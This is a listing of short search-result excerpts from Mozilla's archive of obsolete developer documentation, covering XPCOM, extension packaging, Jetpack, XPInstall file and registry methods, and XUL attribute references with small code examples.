how to create a uri object in almost all cases, when creating a uri object you want to use the newuri method on the nsiioservice interface, like so: javascript: try { var ioserv = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var uriobj = ioserv.newuri(uristring, uricharset, baseuri); } catch (e) { // may want to catch ns_error_malformed_uri for some applications } c++: nsresult rv; nscomptr<nsiioservice> ioserv = do_getservice("@mozilla.org/network/io-service;1"); ns_ensure_success(rv, rv); nscomptr<ns...
Custom about: URLs - Archive of obsolete content
const {classes: cc, interfaces: ci, manager: cm, results: cr, utils: cu, constructor: cc} = components; cm.queryinterface(ci.nsicomponentregistrar); components.utils.import("resource://gre/modules/services.jsm"); // globals const aboutpage_description = 'this is my custom about page'; const aboutpage_id = 'aa132730-2278-11e5-867f-0800200c9a66'; // make sure you generate a unique id from https://www.famkruithof.net/uuid/uuidgen const aboutpage_word = 'myaboutpage' const aboutpage_uri = 'data:text/html,hi this is the page that is shown when navigate to about:myaboutpag...
Default Preferences - Archive of obsolete content
inside your file you set preferences using the pref() function: pref("name", "value") example: pref('extensions.defaultprefs.example.int', 1); pref('extensions.defaultprefs.example.float', 0.1); pref('extensions.defaultprefs.example.string', 'fadf'); pref('extensions.defaultprefs.example.bool', true); notice that unlike when you're reading preferences, writing default preferences uses the same function no matter the data type of the preference.
Deploying a Plugin as an Extension - Archive of obsolete content
here's what a basic install.rdf file looks like: <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>rhapsodyplayerengine@rhapsody.com</em:id> <em:name>rhapsody player engine</em:name> <em:version>1.0.0.487</em:version> <em:targetapplication> <description> <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id> ...
Downloading JSON and JavaScript in extensions - Archive of obsolete content
the javascript code is added to the sandbox along with any "safe" objects the javascript needs to interact.
Jetpack Processes - Archive of obsolete content
individual lines of the form //@line 1 "foo.js" can be used to specify filename and line number information for debugging purposes.
Listening to events in Firefox extensions - Archive of obsolete content
} b.addeventlistener("event", callback, false) where b is the browser or tabbrowser you wish to watch for events from.
Chapter 1: Introduction to Extensions - Archive of obsolete content
user scripts (change appearance and functionality through javascript) yes; you can use the greasemonkey extension or "bookmarklets." yes; you can change userchrome.js to add functionality through javascript.
License and authors - Archive of obsolete content
original authors: hideyuki emura hiroshi "piro" shimoda taiga gomibuchi taro matsuzawa yutaka kachi contributors: sonny piers julia buchner ...
Appendix F: Monitoring DOM changes - Archive of obsolete content
for instance, when using the selector div:not([foo-binding-done]), you can detach your binding by running this.setattribute("foo-binding-done", true) in your constructor.
Mozilla Documentation Roadmap - Archive of obsolete content
first of all, the in-site search is not reliable, so we recommend using a search engine like google, with queries such as "mdc javascript code modules" or "javascript code modules site:developer.mozilla.org".
CSS3 - Archive of obsolete content
selectors level 3 recommendation since september 29th, 2011 adds: substring matching attribute selectors, e[attribute^="value"], e[attribute$="value"], e[attribute*="value"] .
MozOrientation - Archive of obsolete content
{ evt.gamma = -(evt.x * (180 / math.pi)); evt.beta = -(evt.y * (180 / math.pi)); } // use evt.gamma, evt.beta, and evt.alpha // according to dev.w3.org/geo/api/spec-source-orientation } window.addeventlistener('deviceorientation', orientationhandler, false); window.addeventlistener('mozorientation', orientationhandler, false); example window.addeventlistener("mozorientation", dofunc, true); the example below simply displays the raw accelerometer data in the browser window as the events arrive.
chargingtimechange - Archive of obsolete content
example navigator.getbattery().then(function(battery) { console.log("battery charging time: " + battery.chargingtime + " seconds"); battery.addeventlistener('chargingtimechange', function() { console.log("battery charging time: " + battery.chargingtime + " seconds"); }); }); related events chargingchange dischargingtimechange levelchange ...
dischargingtimechange - Archive of obsolete content
example navigator.getbattery().then(function(battery) { console.log("battery discharging time: " + battery.dischargingtime + " seconds"); battery.addeventlistener('dischargingtimechange', function() { console.log("battery discharging time: " + battery.dischargingtime + " seconds"); }); }); related events chargingchange dischargingtimechange levelchange ...
levelchange - Archive of obsolete content
example navigator.getbattery().then(function(battery) { console.log("battery level: " + battery.level * 100 + " %"); battery.addeventlistener('levelchange', function() { console.log("battery level: " + battery.level * 100 + " %"); }); }); related events chargingchange chargingtimechange dischargingtimechange ...
Index of archived content - Archive of obsolete content
navigator navigator.moznotification add-ons add-on sdk builder guides content scripts communicating with other scripts communicating using "port" communicating using "postmessage" cross-domain content scripts interacting with page scripts loading content scripts reddit example port self contributor's guide classes and inheritance ...
Working with BFCache - Archive of obsolete content
q: hmm, so what event tells me “you'll never get a pageshow so you can drop the megabytes of info you've saved in firebug side table for that page?” a: an observer notification with the topic "inner-window-destroyed" whose subject is an nsisupportspruint64 containing the window id of the inner window being destroyed.
How Mozilla finds its configuration files - Archive of obsolete content
how mozilla finds its configuration files mozilla looks into the binary %userprofile%\application data\mozilla\registry.dat file for its "registry", which contains, amongst other information, a pointer to the directory where the profile is stored (located at common/profiles/profilename/directory.
How Thunderbird and Firefox find their configuration files - Archive of obsolete content
how thunderbird and firefox find their configuration files thunderbird looks into the binary %appdata%\thunderbird\profiles.ini file for its "registry", which contains, amongst other information, a pointer to the directory where the profile is stored (usually located in %appdata%\thunderbird\profiles\profilename).
Kill the XUL.mfl file for good - Archive of obsolete content
unfortunately, there appears to be no "clean" way of doing so (javascript command in prefs.js or registry setting).
Bonsai - Archive of obsolete content
it also includes tools for looking at checkin logs (and comments); doing diffs between various versions of a file; and finding out which person is responsible for changing a particular line of code ("cvsblame").
Building TransforMiiX standalone - Archive of obsolete content
add tx_exe=1 mk_add_options build_modules="xpcom transformiix" ac_add_options --enable-standalone-modules="xpcom transformiix" to your .mozconfig, and use client.mk to pull as usual.
Enabling the behavior - retrieving tinderbox status - Archive of obsolete content
var gxmlhttprequest; function loadtinderboxstatus() { gxmlhttprequest = new xmlhttprequest(); gxmlhttprequest.onload = updatetinderboxstatus; gxmlhttprequest.open("get", "http://tinderbox.mozilla.org/seamonkey/panel.html"); gxmlhttprequest.send(null); } xmlhttprequest is an interface in mozilla for retrieving documents via http.
Finding the code to modify - Archive of obsolete content
the "document - dom nodes" pane on the left-hand side of the inspector window displays a tree representation of the browser window's xul file.
chrome.manifest - Archive of obsolete content
copy the following text and paste it into a text file, then save that file as "chrome.manifest": skin global my_theme jar:chrome/my_theme.jar!/global/ skin mozapps my_theme jar:chrome/my_theme.jar!/mozapps/ skin messenger my_theme jar:chrome/my_theme.jar!/messenger/ skin messenger-newsblog my_theme jar:chrome/my_theme.jar!/messenger-newsblog/ skin communicator my_theme jar:chrome/my_theme.jar!/communicator/ skin help my_theme jar:chrome/my_theme.jar!/help/ skin navigator my_theme jar:chrome/my_theme.jar!/navigator/ skin editor my_theme jar:chrome/my_theme.jar!/editor/ ...
install.rdf - Archive of obsolete content
copy the following text and paste it into a text file, then save that file as "install.rdf": <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>author@oftheme.com</em:id> <em:version>2.0b1</em:version> <!-- seamonkey --> <em:targetapplication> <description> <em:id>{92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a}</em:id> <em:minversion>2.0b1pre</em:minversion> <em:maxversion>2.0b2pre</em:maxversion> </description> </em:targetapplication> <!-- front end metadata --> <em:name>my_theme</em:name> <em:description>my first theme</em:description> <!-- front end integration hooks (used b...
toolbarBindings.xml - Archive of obsolete content
copy the following text and paste it into a text file, then save that file as "toolbarbindings.xml": <bindings id="toolbarbindings"> <binding id="toolbar-primary" extends="chrome://global/content/bindings/toolbar.xml#toolbar-primary"> <content> <xul:hbox class="toolbar-holder toolbar-primary-holder" flex="1" xbl:inherits="orient=tborient,buttonstyle"> <xul:hbox class="toolbar-button-box" flex="1"> <children/> </xul:hbox> <xul:image class="toolbar-primary-icon" xbl:inherits="buttonstyle"/> </xul:hbox> </content> </binding> </bindings> ...
Installing Dehydra - Archive of obsolete content
you can skip the next section "building gcc 4.5" if you are using gcc 4.6 or above.
Dehydra - Archive of obsolete content
the development focus switched to dxr (where the "d" comes from "dehydra"), which is based on clang instead of gcc.
Exception logging in JavaScript - Archive of obsolete content
this had the unintended consequence of logging "expected" errors at length into the console.
Building Firefox with Rust code - Archive of obsolete content
if you want to call code in the "e10s" crate, you would add: extern crate e10s; to toolkit/library/rust/shared/lib.rs; you would also need to specify the path to that crate in the dependencies section of toolkit/library/rust/shared/cargo.toml: [dependencies] e10s = { path = "../../../../path/from/srcdir/e10s" } the e10s crate must also be checked into the tree at the appropriate path.
Using microformats - Archive of obsolete content
to use the api, you need to first load the object: components.utils.import("resource://gre/modules/microformats.js"); once you've loaded the microformats api, you can manage microformats using the methods listed here; for information about parsing microformats, see parsing microformats in javascript.
HTTP Class Overview - Archive of obsolete content
encapsulates a http request and response parses incoming data nshttpchunkeddecoder owned by a transaction strips chunked transfer encoding nshttprequesthead owns a nshttpheaderarray knows how to fill a request buffer nshttpresponsehead owns a nshttpheaderarray knows how to parse response lines performs common header manipulations/calculations nshttpheaderarray stores http "<header>:<value>" pairs nshttpauthcache stores authentication credentials for http auth domains nshttpbasicauth implements nsihttpauthenticator generates basic auth credentials from user:pass nshttpdigestauth implements nsihttpauthenticator generates digest auth credentials from user:pass original document information author(s): darin fisher last updated date: august 5, 200...
IO Guide/Directory Keys - Archive of obsolete content
"directory keys" are the keys for nsidirectoryservice, see description.
Enabling Experimental Jetpack Features - Archive of obsolete content
jetpack.future.import("clipboard"); the goal here is to be able to remove the jetpack.future.import() call when the feature has been formally accepted into the core without additionally changing the script (barring any other changes made during integration).
Enabling - Archive of obsolete content
jetpack.future.import("clipboard"); the goal here is to be able to remove the jetpack.future.import() call when the feature has been formally accepted into the core without additionally changing the script (barring any other changes made during integration).
Clipboard Test - Archive of obsolete content
jetpack.future.import("clipboard"); methods additional information can be found at clipboard api proposal ...
Notifications - Archive of obsolete content
titlethe head of the notification message.string bodythe message itself.stringfalse iconthe url of an .ico file.string jetpack.notifications.show("hello world"); var mybody = " my first message body on jetpack"; var myicon = "http://www.mozilla.com/favicon.ico"; jetpack.notifications.show({title: "my first message on jetpack", body: mybody, icon: myicon}); ...
Tabs - Archive of obsolete content
ArchiveMozillaJetpackUITabs
urlurl to be openedstring jetpack.tabs.open("http://www.example.com/"); blah(lengthstringfocusedstringtostringstringpopstringpushstringreversestringshiftstringsortstringsplicestringunshiftstring)this is some default text lengththe number of open tabsstring focusedthe current tab in your browserstring tostringstuffstring popstuffstring pushstuffstring reversestuffstring shiftstuffstring sortstuffstring splicestuffstring unshiftstuffstring ...
Enabling Experimental Jetpack Features - Archive of obsolete content
ArchiveMozillaJetpackdocsMetaFuture
jetpack.future.import("clipboard"); the goal here is to be able to remove the jetpack.future.import() call when the feature has been formally accepted into the core without additionally changing the script (barring any other changes made during integration).
statusBar - Archive of obsolete content
example jetpack.statusbar.append({ html: 'hello <i>world</i>!', onready: function(widget){ $(widget).click(function(){ jetpack.tabs.open("http://www.jogkey.de"); }); } }); ...
Litmus tests - Archive of obsolete content
a "smoke test" is a quick check, done to verify the basic functionality of a certain feature, or a sanity check of the build process.
Microsummary XML grammar reference - Archive of obsolete content
example the microsummary generator created in the creating a microsummary tutorial: <?xml version="1.0" encoding="utf-8"?> <generator xmlns="http://www.mozilla.org/microsummaries/0.1" name="firefox download count"> <template> <transform xmlns="http://www.w3.org/1999/xsl/transform" version="1.0"> <output method="text"/> <template match="/"> <value-of select="id('download-count')"/> <text> fx downloads</text> </template> </transform> </template> <pa...
Porting NSPR to Unix Platforms - Archive of obsolete content
for certain more "standard" unix platforms, this may be all you have to do.
BundleLibrary - Archive of obsolete content
slimtimer client slimtimer.webapp a very useful time-tracking tool with a "slim" client spagobi spagobi.webapp a web collaborative business intelligence platform streamy streamy.webapp ( streamy is a pretty powerful, next-gen online rss feed reader.
HostWindow - Archive of obsolete content
status - area of the statusbar that displays the loading status message and a "percent complete" progress bar, as well as the "gear" menu that provides access to prism commands such as displaying the error console.
Scripting - Archive of obsolete content
the following code can be used by web content to determine whether it is running in prism: if ("platform" in window) { // prism-specific code goes here } see the nsiplatformglue idl definition file for details of the methods available to prism apps.
Prism - Archive of obsolete content
firefox extension: a firefox extension, code-named "refractor", can be used to spin out new prism apps from inside the web browser.
Remote XUL - Archive of obsolete content
the remote xul manager extension lets you manage this whitelist, which is maintained using nsipermissionmanager, by creating entries of type "allowxulxbl", like this: components.classes["@mozilla.org/permissionmanager;1"] .getservice(components.interfaces.nsipermissionmanager) .add(uri, 'allowxulxbl', components.interfaces.nsipermissionmanager.allow_action); see using remote xul.
Running Windows Debug Builds Downloaded From Tinderbox - Archive of obsolete content
if you run the windows debug builds you will often get "this application has failed to start because the application configuration is incorrect..." this is because the debug builds need the msvc80 crt debug dlls.
SpiderMonkey coding conventions - Archive of obsolete content
naming conventions public function names begin with js_ followed by capitalized "intercaps", e.g.
open - Archive of obsolete content
examples example: using open in the following example, myfile is a file object: myfile.open("read", "text"); see also ...
Merging TraceMonkey Repo - Archive of obsolete content
if the sheriff gives you permission to land, hg push -r default ssh://hg.mozilla.org/tracemonkey and hg push ssh://hg.mozilla.org/mozilla-central if you can't push to mozilla-central because somebody ignored the "ask the sheriff" rule and pushed there anyway, that's typical, and it just means you have to repeat the above process.
Static Analysis for Windows Code under Linux - Archive of obsolete content
host_libidl_config=/usr/bin/libidl-config #config your moztools position glib_prefix=$home/moztools libidl_prefix=$home/moztools #disable xpcom stdcall calling convention because of gcc 4.3.0 bug cppflags="-dmoz_disable_xpcom_stdcall" #specify the cxx and static analysis #point cxx to the cross compile g++ with plugin support cxx=$home/mingw-install/bin/i686-mingw32-g++ ac_add_options --with-static-checking=$home/dehydra/dehydra-gcc/gcc_dehydra.so then, you can start building your mozilla.
Actionscript Performance Tests - Archive of obsolete content
interp) $ ./runtests.py --vmargs="-dinterp" sunspider/*.as test avm metric sunspider/access-binary-trees.as 690 time sunspider/access-fannkuch.as 467 time ...
Cmdline tests - Archive of obsolete content
ninfo locals\nnext\ninfo locals\nquit\n', expectedout=['local1 = undefined','local2 = 10','local2 = 15'] ) use case 2: test -memstats returns memory logs to stdout test contents: start avmshell -memstats test.abc, assert stdout contains 'gross stats', 'sweep m reclaimed n pages.' from cmdutils import * def run(): r=runtestlib() r.run_test(name='memstats', command="%s -memstats testdata/memstats.abc" % r.avm, expectedout=[ 'gross stats', 'managed fragmentation', 'gross stats end', 'sweep\\([0-9]+\\) reclaimed [0-9]+ whole pages' ] ...
Tamarin Build System Documentation - Archive of obsolete content
tamarin-redux mercurial builds are displayed in the top 3 sections: compile, smoke, test sandbox builds are displayed in next 3 sections: sandbox compile, sandbox smoke, sandbox test tamarin-central is considered a "sandbox" and will appear under sandbox phase what are the build phases?
Tamarin Releases - Archive of obsolete content
upcoming release name(s)release datelinks tc next~ april 2009roadmap current release namerelease datelinks tc "mar 2009" a5c9ed928c9603/27/09tamarin-devel announcement prior release name(s)release datelinks tc "feb 2009" a5c9ed928c9602/19/09tamarin-devel announcement tamarin-central rev 703:2cee46be9ce0 12/02/08tamarin-devel announcement ...
The Download Manager schema - Archive of obsolete content
the table is kept in a database file named "downloads.sqlite", in a table called "moz_downloads".
Tuning Pageload - Archive of obsolete content
firefox (and all mozilla products/projects which do page-loading) ship with what are considered the "best" settings for the most cases.
Binding Implementations - Archive of obsolete content
<method name="scrolltoindex"> <parameter name="index"/> <body> <![cdata[ if (index < 0) return; ...
Event Handlers - Archive of obsolete content
this means that <handler event="click" action="foo()"/> is analogous to onclick="foo()" defined on the bound element.
XBL 1.0 Reference - Archive of obsolete content
notes.html notes.xml notes.css view this example download all files (.zip archive) need to ask to adjust the server - it gives "access denied" for zip files (?) references initial xbl 1.0 proposal submitted as a note to w3c (does not reflect mozilla implementation, nor future plans) xbl 2.0 project original document information last updated date: april 24, 2006 ...
File.macAlias - Archive of obsolete content
xpisrc = "miscellaneous program"; var vi = "1.1.1.1"; initinstall( "macintosh alias", "misc", vi, 0); f = getfolder("program"); g = getfolder("mac desktop"); addfile( "filemacalias", "2.2.2.2", xpisrc, f, xpisrc, true); err = file.macalias(f, xpisrc, g, xpisrc + " alias"); logcomment("file.macalias returns: " + err); if (0 == getlasterror()) performinstall(); else cancelinstall(); ...
Install.addDirectory - Archive of obsolete content
var vi = "10.10.10.10"; var xpisrc = "adddir1"; initinstall("addfilenovers1", "adddir_1", vi, 1); f = getfolder("program"); setpackagefolder(f); err = adddirectory(xpisrc); logcomment("the error = " + err); if (0 == getlasterror()) performinstall(); else cancelinstall(); ...
Install.addFile - Archive of obsolete content
var xpisrc = "file.txt"; initinstall( "adding a file", "testfile", "1.0.1.7", 1); f = getfolder("program"); setpackagefolder(f); addfile(xpisrc); if (0 == getlasterror()) performinstall(); else cancelinstall(); ...
InstallTrigger.startSoftwareUpdate - Archive of obsolete content
onclick="triggerurl(this.form.url.value); ...
dirCreate - Archive of obsolete content
example f = getfolder("program", "mynewdirectory"); err = file.dircreate(f); ...
dirGetParent - Archive of obsolete content
example f = getfolder("program", "mynewdirectory"); err = file.dircreate(f); err = file.getparent(f) // returns "program" ...
execute - Archive of obsolete content
example f = getfolder("program", "mytexteditor.exe"); err = file.execute(f, "myfile.txt"); // indicates that 'myfile.txt' will be // opened in the editor ...
exists - Archive of obsolete content
example f = getfolder( "program", "sample.txt" ); if ( file.exists(f) ) // do something with the file ...
isFile - Archive of obsolete content
example f = getfolder( "program", "sample.txt" ); if ( file.isfile(f) ) // the object represents a file ...
macAlias - Archive of obsolete content
aliasdir a filespecobject that represents the directory into which the alias file will be installed (e.g.,"mac desktop").
modDate - Archive of obsolete content
example f = getfolder("program"); filesource = getfolder(f, "myfile.txt"); err = file.moddate(filesource); see moddatechanged for an example of comparing the dates of two files.
move - Archive of obsolete content
example source = getfolder("program", "file.txt"); dest = getfolder("chrome"); err = file.move(source, dest); ...
windowsGetShortName - Archive of obsolete content
example flongfilepath = getfolder(fprogram, "longfilename.file"); sshortfilepath = file.windowsgetshortname(flongfilepath); if(sshortfilepath) { // do something } ...
windowsRegisterServer - Archive of obsolete content
example filecdtool = getfolder("file:///", faod + "cdtool.dll"); err = file.windowsregisterserver(filecdtool); ...
init - Archive of obsolete content
version a string representing version information in the format "4.1.2.1234".
toString - Archive of obsolete content
to get the version number out of an installversion object in order to compare it with other versions, you can call tostring() and get back the version as a string in the format "maj.min.rev.bld." example var vi = new installversion(); vi.init("999.888.777.666"); //random string vistring = vi.tostring(); ...
cancelInstall - Archive of obsolete content
example use the following code to abort or to finalize an installation, based on a variable you set earlier in your code: initinstall("royal airways tripplanner","/royalairways/ tripplanner","1.0.0.0"); ...
getLastError - Archive of obsolete content
example the following example calls getlasterror after a series of addfile calls: addfile("npplug", ...); addfile("/ms/shared/ctl3d.dll", ...); addfile("/nethelp/royalplug/royalhelp.html",...); err = getlasterror(); ...
loadResources - Archive of obsolete content
the following lines retrieve the properties as a javascript object and make the values accessible with the familiar "dot property" syntax: reseg2obj = loadresources("bin/res_eg_2.properties"); dump( reseg2obj.title ) ...
logComment - Archive of obsolete content
respectively, these directories correspond to the "program" and "current user" keywords for the getfolder method.
patch - Archive of obsolete content
version an installversion object or a string of up to four integer values delimited by periods, such as "1.17.1999.1517".
performInstall - Archive of obsolete content
example use the following code to abort or to finalize an installation, based on a variable you set earlier in your code: initinstall("royal airways tripplanner", "/royalairways/tripplanner", "1.0.0.0"); ...
refreshPlugins - Archive of obsolete content
example // install dll into plugins // install xpt into components var xpisrc = "npmcult3dp.dll"; var xpisrc2 = "nsic3dpscriptablepeer.xpt"; initinstall( "cult3d plugin file", "@cycore.com/cult3d;version=1.0.0", "1.0.0"); setpackagefolder(getfolder("plugins")); addfile(xpisrc); addfile("",xpisrc2,getfolder("components"),""); var err = getlasterror(); if (err == success) { err = performinstall(); if (err == success) refreshplugins(); ...
Install Object - Archive of obsolete content
the following two lines, for example, are equivalent: f = getfolder("program"); f = install.getfolder("program"); an installation script is composed of calls to the install object, and generally takes the following form: initialize the installation call initinstall with the name of the installation and the necessary registry and version information.
createKey - Archive of obsolete content
method of winreg object syntax int createkey ( string subkey, string classname); parameters the method has the following parameters: subkey the key path to the appropriate location in the key hierarchy, such as "software\\netscape\\navigator\\mail".
deleteKey - Archive of obsolete content
method of winreg object syntax int deletekey ( string subkey); parameters the method has the following parameters: subkey the key path to the appropriate location in the key hierarchy, such as "software\\netscape\\navigator\\mail".
deleteValue - Archive of obsolete content
method of winreg object syntax int deletevalue ( string subkey, string valname); parameters the deletevalue method has the following parameters: subkey the key path to the appropriate location in the key hierarchy, such as "software\\netscape\\navigator\\mail".
getValue - Archive of obsolete content
method of winreg object syntax winregvalue getvalue ( string subkey, string valname); parameters the getvalue method has the following parameters: subkey the key path to the appropriate location in the key hierarchy, such as "software\\netscape\\navigator\\mail".
getValueNumber - Archive of obsolete content
method of winreg object syntax number getvaluenumber ( string subkey, string valname); parameters the getvaluestring method has the following parameters: subkey the key path to the appropriate location in the key hierarchy, such as "software\\netscape\\navigator\\mail".
getValueString - Archive of obsolete content
method of winreg object syntax string getvaluestring ( string subkey, string valname); parameters the getvaluestring method has the following parameters: subkey the key path to the appropriate location in the key hierarchy, such as "software\\netscape\\navigator\\mail".
isKeyWritable - Archive of obsolete content
example winreg = getwinregistry(); if ( winreg != null ) { winreg.setrootkey ( winreg.hkey_local_machine ); if(winreg.iskeywritable("software")) { //iskeywritable returned true } else { //iskeywritable returned false } ...
keyExists - Archive of obsolete content
example winreg = getwinregistry(); if ( winreg != null ) { winreg.setrootkey( winreg.hkey_local_machine); if(winreg.keyexists("software\\mozilla")) { //keyexists returned true } else { //keyexists returned false } } ...
setValue - Archive of obsolete content
method of winreg object syntax string setvalue ( string subkey, string valname, winregvalue value); parameters the setvalue method has the following parameters: subkey the key path to the appropriate location in the key hierarchy, such as "software\\netscape\\navigator\\mail".
setValueNumber - Archive of obsolete content
method of winreg object syntax int setvaluenumber ( string subkey, string valname, number value ); parameters the method has the following parameters: subkey the key path to the appropriate location in the key hierarchy, such as "software\\netscape\\navigator\\mail".
setValueString - Archive of obsolete content
method of winreg object syntax int setvaluestring ( string subkey, string valname, string value); parameters the method has the following parameters: subkey the key path to the appropriate location in the key hierarchy, such as "software\\netscape\\navigator\\mail".
valueExists - Archive of obsolete content
example winreg = getwinregistry(); if ( winreg != null ) { winreg.setrootkey( winreg.hkey_local_machine); if(winreg.valueexists("software\\mozilla", "value name")) { //valueexists returned true } else { //valueexists returned false } } ...
XPJS Components Proposal - Archive of obsolete content
now, you might ask: "isn't that what xpconnect does?" and i would answer that xpconnect is necessary, but not sufficient to the task.
Mozilla E4X - Archive of obsolete content
presentation view online download summary "ecmascript for xml" (ecma-357), a new standard for writing and processing xml directly in javascript (ecma-262, iso-16262).
SVG And Canvas In Mozilla - Archive of obsolete content
work is also underway "under the hood" on a new unified graphics architecture that uses 3d graphics processors to accelerate all rendering.
findnextaccesskey - Archive of obsolete content
« xul reference home findnextaccesskey type: string the access key for the "find next" toolbar button in the findbar.
findpreviousaccesskey - Archive of obsolete content
« xul reference home findpreviousaccesskey type: string the access key for the "find previous" toolbar button in the findbar.
Flexgroup - Archive of obsolete content
"flexgroup" is used to group flexible elements together and should be set to an integer.
highlightaccesskey - Archive of obsolete content
« xul reference home highlightaccesskey type: string the access key for the "highlight" toolbar button in the findbar.
matchcaseaccesskey - Archive of obsolete content
« xul reference home matchcaseaccesskey type: string the access key for the "match case" checkbox in the findbar.
accesskey - Archive of obsolete content
example <vbox> <label value="enter name" accesskey="e" control="myname"/> <textbox id="myname"/> <button label="cancel" accesskey="n"/> <button label="ok" accesskey="o"/> </vbox> see also label attribute acceltext attribute xul accesskey faq and policies ...
autocheck - Archive of obsolete content
when autocheck is true, the button type should be "checkbox" or "radio".
buttonaccesskeyaccept - Archive of obsolete content
« xul reference home buttonaccesskeyaccept type: string the access key to use for the "accept" button.
buttonaccesskeycancel - Archive of obsolete content
« xul reference home buttonaccesskeycancel type: string the access key to use for the "cancel" button.
buttonaccesskeydisclosure - Archive of obsolete content
« xul reference home buttonaccesskeydisclosure type: string the access key to use for the "disclosure" button.
buttonaccesskeyhelp - Archive of obsolete content
« xul reference home buttonaccesskeyhelp type: string the access key to use for the "help" button.
buttonlabelaccept - Archive of obsolete content
« xul reference home buttonlabelaccept type: string the label to appear on the "accept" button.
buttonlabelcancel - Archive of obsolete content
« xul reference home buttonlabelcancel type: string the label to appear on the "cancel" button.
buttonlabeldisclosure - Archive of obsolete content
« xul reference home buttonlabeldisclosure type: string the label to appear on the "disclosure" button.
buttonlabelhelp - Archive of obsolete content
« xul reference home buttonlabelhelp type: string the label to appear on the "help" button.
buttons - Archive of obsolete content
note: if you don't want to display any buttons in the dialog box, set the value of this attribute to "," (a single comma).
command - Archive of obsolete content
example <command id="cmd_openhelp" oncommand="alert('help');"/> <button label="help" command="cmd_openhelp"/> <button label="more help" command="cmd_openhelp"/> see also command element, oncommand and commandset ...
panel.consumeoutsideclicks - Archive of obsolete content
« xul reference home consumeoutsideclicks type: boolean controls whether or not the event that caused the popup to be automatically dismissed (or "rolled up") should be consumed or be dispatched as a normal event.
currentset - Archive of obsolete content
the value of this attribute should be a comma-separated list of item ids from the toolbarpalette or, additionally, any of the following strings: "separator", "spring", "spacer".
disabled - Archive of obsolete content
// disabling an element document.getelementbyid('buttonremove').setattribute("disabled", "disabled"); // enabling back an element by removing the "disabled" attribute document.getelementbyid('buttonremove').removeattribute("disabled"); firefox 3.5 note for keyset elements, support for this attribute was added in firefox 3.5.
disablefastfind - Archive of obsolete content
« xul reference homedisablefastfindtype: booleanput disablefastfind="true" on the root element of a xul document, which is intended to be loaded in a tab, to disable the find bar for the tab with this document.
fullscreenbutton - Archive of obsolete content
the window receives a "fullscreen" event once the change has been made.
group - Archive of obsolete content
« xul reference home group type: string group name buttons with type="radio" and the same value for their group attribute are put into the same group.
href - Archive of obsolete content
ArchiveMozillaXULAttributehref
<label href="http://example.com" class="text-link" value="click here to go to example.com"/> ...
iconsize - Archive of obsolete content
« xul reference home iconsize type: string indicates whether the toolbar should display large icons or small icons; this should be the string "large" or "small", respectively.
id - Archive of obsolete content
ArchiveMozillaXULAttributeid
example <button id="foo" label="click me" oncommand="dosomething()"/> <script> function dosomething(){ var mybutton = document.getelementbyid('foo'); mybutton.setattribute('label','the button was pressed'); } </script> a more abstract version of the above would be a <button id="foo" label="click me" oncommand="setwidgetlabel(this, 'i was pressed')"/> <script> function setwidgetlabel(idname, newcaption){ document.getelementbyid( idname.id ).setattribute('label',newcaption) } </script> not specifying the id attribute for a window or a pr...
image - Archive of obsolete content
example <menuitem label="foo" class="menuitem-iconic" image="something.png"/> see also image element ...
menuitem.name - Archive of obsolete content
example <toolbox> <menubar id="planets-menubar"> <menu id="planet-menu" label="planet"> <menupopup> <menuitem id="jupiter" label="jupiter" type="radio" name="planet"/> <menuitem id="saturn" label="saturn" type="radio" name="planet" checked="true"/> <menuitem id="uranus" label="uranus" type="radio" name="planet"/> </menupopup> </menu> </menubar> </toolbox> see also name and menus in the xul tutorial ...
onbookmarkgroup - Archive of obsolete content
« xul reference home onbookmarkgroup not in firefox type: script code this code executes when the user chooses the "bookmark this group of tabs" command.
onclick - Archive of obsolete content
example <image src="hello.png" onclick="alert('hi')"/> see also click dom element ...
oncommand - Archive of obsolete content
example 1: in-line code <button label="click me" oncommand="alert('hi')"/> example 2: function with source argument <button label="click me" oncommand="dosomeprocessing(event.target)"/> and here is the definition of the function: function dosomeprocessing(source) { alert("source: " + source); return true; } see also command element ...
oninput - Archive of obsolete content
--> <script language="javascript"> function setlabel(txtbox){ document.getelementbyid('lbl').value = txtbox.value; } </script> <label id="lbl"/> <textbox oninput="setlabel(this);"/> this is similar to the onkeypress event used in html documents.
progressmeter.value - Archive of obsolete content
for instance, if no maximum value has been set, setting the value to "0" shows an empty bar, "100" shows a bar at full length and "25" shows the first quarter of the bar.
resizer.type - Archive of obsolete content
« xul reference hometypetype: stringset this to the value "window" for a resizing grip that appears in the bottom corner of the window, used for resizing the window.
right - Archive of obsolete content
for example, using right="-80" causes the stack to be enlarged 80 pixels to the right and the element's right edge to be at the same location as the right edge of the stack.
showcaret - Archive of obsolete content
examples <iframe id="content-body" src="http://www.mozilla.org/" showcaret="true"/> <browser src="http://www.mozilla.org" flex="1" showcaret="true"/> ...
src - Archive of obsolete content
ArchiveMozillaXULAttributesrc
examples <iframe id="content-body" src="http://www.mozilla.org/"/> <browser src="http://www.mozilla.org" flex="1"/> <image src='firefoxlogo.png' width='135' height='130'/> see also prefpane.src treecell.src treecol.src script.src stringbundle.src checkbox.src ...
statustext - Archive of obsolete content
example <!-- sets the status message when mouse is over buttons --> <button label="connect" statustext="connect to remote server" onmouseover="setstatusmessage(this)" onmouseout="clearstatusmessage()"/> <button label="ping" statustext="ping the server" onmouseover="setstatusmessage(this)" onmouseout="clearstatusmessage()"/> <statusbar> <statusbarpanel id="mystatuspanel" label="" flex="1"/> <spacer flex="1"/> </statusbar> <script> function setstatusmessage(obj){...
tabindex - Archive of obsolete content
the tab order is the order in which the focus is moved when the user presses the "tab" key.
treecell.editable - Archive of obsolete content
« xul reference home editable type: boolean allows the contents of individual cells in the column to be changed, especially useful when <treecol type="checkbox">.
treeitem.label - Archive of obsolete content
« xul reference home label tipo: string (concatenación de caracteres) para un árbol tree con columnas simples, la etiqueta puede ser colocada directamnete sobre el elemeto "treeitem" sin la necesidad de una fila "row" y un elemento "treeitem" dentro.
var - Archive of obsolete content
ArchiveMozillaXULAttributevar
« xul reference home var type: string for the xul assign attribute, this is the variable to assign the value to; otherwise it's a reference to a template variable such as "?name".
